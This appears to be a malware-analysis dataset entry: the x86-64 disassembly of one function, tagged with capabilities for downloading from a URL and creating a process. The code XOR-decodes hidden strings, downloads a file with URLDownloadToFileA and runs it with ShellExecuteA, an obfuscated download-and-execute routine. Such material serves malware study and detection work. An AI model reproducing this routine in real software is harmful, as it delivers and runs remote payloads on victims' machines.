Function at 0x18003efd0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
movdqa xmm1, xmmword [0x1802667f0]
mov r11b, 0x76
movdqa xmm2, xmmword [0x180266430]
movdqa xmm0, xmm1
movd edx, xmm1
mov cl, 0x77
movdqu xmmword [rbp - 0x15], xmm1
mov r8b, 0x61
movzx esi, r11b
movdqa xmm1, xmmword [0x180266800]
xor cl, dl
xor byte [rbp - 0x13], dl
xor sil, dl
xor byte [rbp - 0x12], dl
movzx ebx, r8b
xor byte [rbp - 0x11], dl
xor r8b, dl
xor byte [rbp - 0x10], dl
xor bl, dl
xor byte [rbp - 0xf], dl
movzx r15d, r11b
xor byte [rbp - 0xe], dl
xor r11b, dl
xor byte [rbp - 0xd], dl
xor r15b, dl
xor byte [rbp - 0xc], dl
mov r9b, 0x7a
xor byte [rbp - 0xb], dl
xor r9b, dl
xor byte [rbp - 0xa], dl
mov r10b, 0x65
xor byte [rbp - 9], dl
xor r10b, dl
xor byte [rbp - 8], dl
mov dil, 0x3d
xor byte [rbp - 7], dl
xor dil, dl
xor byte [rbp - 6], dl
mov r14b, 0x6b
movdqu xmmword [rbp - 0x59], xmm1
xor r14b, dl
mov byte [rbp - 5], cl
psrldq xmm0, 1
movd ecx, xmm1
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 1
xor byte [rbp - 0x57], cl
xor byte [rbp - 0x56], cl
xor al, dl
xor byte [rbp - 0x55], cl
mov dl, 0xa
xor byte [rbp - 0x54], cl
xor byte [rbp - 0x53], cl
xor byte [rbp - 0x52], cl
xor byte [rbp - 0x51], cl
xor byte [rbp - 0x50], cl
xor byte [rbp - 0x4f], cl
xor byte [rbp - 0x4e], cl
xor byte [rbp - 0x4d], cl
xor byte [rbp - 0x4c], cl
xor byte [rbp - 0x4b], cl
xor byte [rbp - 0x4a], cl
mov byte [rbp - 0x14], al
movd eax, xmm0
movdqu xmmword [rbp - 0x49], xmm2
mov byte [rbp - 4], r8b
xor al, cl
mov byte [rbp - 3], r9b
mov byte [rbp - 0x58], al
movd eax, xmm2
mov byte [rbp - 2], r10b
mov byte [rbp - 1], r11b
xor al, cl
mov byte [rbp], bl
mov byte [rbp - 0x49], al
mov byte [rbp + 1], dil
mov byte [rbp + 2], sil
mov byte [rbp + 3], r14b
mov byte [rbp + 4], r15b
mov byte [rbp + 5], 0
xor byte [rbp - 0x48], cl
lea r8, [rbp - 0x14]
xor byte [rbp - 0x47], cl
xor dl, cl
xor byte [rbp - 0x46], cl
xor r9d, r9d
xor byte [rbp - 0x45], cl
xor byte [rbp - 0x44], cl
xor byte [rbp - 0x43], cl
xor byte [rbp - 0x42], cl
xor byte [rbp - 0x41], cl
xor byte [rbp - 0x40], cl
xor byte [rbp - 0x3f], cl
xor byte [rbp - 0x3e], cl
xor byte [rbp - 0x3d], cl
xor byte [rbp - 0x3c], cl
xor byte [rbp - 0x3b], cl
xor byte [rbp - 0x3a], cl
xor ecx, ecx
mov byte [rbp - 0x39], dl
lea rdx, [rbp - 0x58]
mov byte [rbp - 0x38], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x18003f3b5
movdqa xmm1, xmmword [0x180266450]
mov dl, 0x64
movd ecx, xmm1
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x180266810]
mov r8b, 0x54
movdqu xmmword [rbp - 0x37], xmm1
xor dl, cl
xor byte [rbp - 0x35], cl
movdqa xmm1, xmmword [0x180266820]
mov r11b, 0x43
xor byte [rbp - 0x34], cl
movzx ebx, r8b
xor byte [rbp - 0x33], cl
mov r9b, 0x4f
xor byte [rbp - 0x32], cl
mov r10b, 0x50
xor byte [rbp - 0x31], cl
mov dil, 8
xor byte [rbp - 0x30], cl
movzx esi, r11b
xor byte [rbp - 0x2f], cl
mov r14b, 0x5e
xor byte [rbp - 0x2e], cl
movzx r15d, r11b
xor byte [rbp - 0x2d], cl
xor byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], cl
xor byte [rbp - 0x2a], cl
xor byte [rbp - 0x29], cl
xor byte [rbp - 0x28], cl
movdqu xmmword [rbp - 0x27], xmm2
xor byte [rbp - 0x26], cl
xor byte [rbp - 0x25], cl
xor byte [rbp - 0x24], cl
xor byte [rbp - 0x23], cl
xor byte [rbp - 0x22], cl
xor byte [rbp - 0x21], cl
xor byte [rbp - 0x20], cl
xor byte [rbp - 0x1f], cl
xor byte [rbp - 0x1e], cl
xor byte [rbp - 0x1d], cl
xor byte [rbp - 0x1c], cl
xor byte [rbp - 0x1b], cl
xor byte [rbp - 0x1a], cl
xor byte [rbp - 0x19], cl
xor byte [rbp - 0x18], cl
movdqu xmmword [rbp + 6], xmm1
mov byte [rbp - 0x17], dl
movd edx, xmm1
psrldq xmm0, 1
movd eax, xmm0
movdqa xmm0, xmm1
xor byte [rbp + 8], dl
xor byte [rbp + 9], dl
xor byte [rbp + 0xa], dl
xor al, cl
xor byte [rbp + 0xb], dl
xor byte [rbp + 0xc], dl
xor byte [rbp + 0xd], dl
xor byte [rbp + 0xe], dl
xor byte [rbp + 0xf], dl
xor byte [rbp + 0x10], dl
xor byte [rbp + 0x11], dl
xor byte [rbp + 0x12], dl
xor byte [rbp + 0x13], dl
xor byte [rbp + 0x14], dl
xor byte [rbp + 0x15], dl
mov byte [rbp - 0x36], al
movd eax, xmm2
psrldq xmm0, 1
mov byte [rbp - 0x16], 0
xor al, cl
mov cl, 0x42
mov byte [rbp - 0x27], al
xor cl, dl
movd eax, xmm0
mov byte [rbp + 0x16], cl
xor al, dl
mov byte [rbp + 7], al
xor r8b, dl
movdqa xmm1, xmmword [0x180266440]
xor r9b, dl
movdqu xmmword [rbp + 0x21], xmm1
xor r10b, dl
mov byte [rbp + 0x18], r9b
xor r11b, dl
mov byte [rbp + 0x17], r8b
xor bl, dl
mov byte [rbp + 0x1a], r11b
xor dil, dl
mov byte [rbp + 0x19], r10b
xor sil, dl
mov byte [rbp + 0x1b], bl
xor r14b, dl
mov byte [rbp + 0x1c], dil
xor r15b, dl
mov byte [rbp + 0x1d], sil
movd edx, xmm1
mov r11b, 0x2e
mov r9b, 0x22
mov byte [rbp + 0x1e], r14b
mov r8b, 0x39
mov byte [rbp + 0x1f], r15b
xor byte [rbp + 0x23], dl
xor r9b, dl
xor byte [rbp + 0x24], dl
movzx ebx, r8b
xor byte [rbp + 0x25], dl
xor r8b, dl
xor byte [rbp + 0x26], dl
xor bl, dl
xor byte [rbp + 0x27], dl
movzx esi, r11b
xor byte [rbp + 0x28], dl
xor sil, dl
xor byte [rbp + 0x29], dl
movzx r15d, r11b
xor byte [rbp + 0x2a], dl
xor r11b, dl
xor byte [rbp + 0x2b], dl
xor r15b, dl
xor byte [rbp + 0x2c], dl
movdqa xmm0, xmm1
xor byte [rbp + 0x2d], dl
mov cl, 0x2f
xor byte [rbp + 0x2e], dl
xor cl, dl
xor byte [rbp + 0x2f], dl
mov r10b, 0x3d
xor byte [rbp + 0x30], dl
xor r10b, dl
mov byte [rbp + 0x31], cl
mov dil, 0x65
xor dil, dl
psrldq xmm0, 1
movd eax, xmm0
mov r14b, 0x33
xor r14b, dl
mov byte [rbp + 0x33], r9b
mov cl, 7
mov byte [rbp + 0x32], r8b
xor al, dl
mov byte [rbp + 0x20], 0
mov byte [rbp + 0x22], al
xor r9d, r9d
mov al, 0x18
mov byte [rbp + 0x34], r10b
xor al, 0x77
mov byte [rbp + 0x35], r11b
xor cl, 0x77
mov byte [rbp + 0x36], bl
mov byte [rbp + 0x69], cl
mov dl, 0x12
mov byte [rbp + 0x37], dil
mov r8b, 0x19
mov byte [rbp + 0x38], sil
mov byte [rbp + 0x39], r14b
mov byte [rbp + 0x3a], r15b
mov byte [rbp + 0x3b], 0
mov byte [rbp + 0x67], 0x77
mov byte [rbp + 0x68], al
xor dl, 0x77
mov byte [rbp + 0x6c], r9b
xor r8b, 0x77
mov byte [rbp + 0x6a], dl
mov byte [rbp + 0x6b], r8b
lea rax, [rbp - 0x36]
lea r8, [rbp + 0x22]
mov dword [rsp + 0x28], 5
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret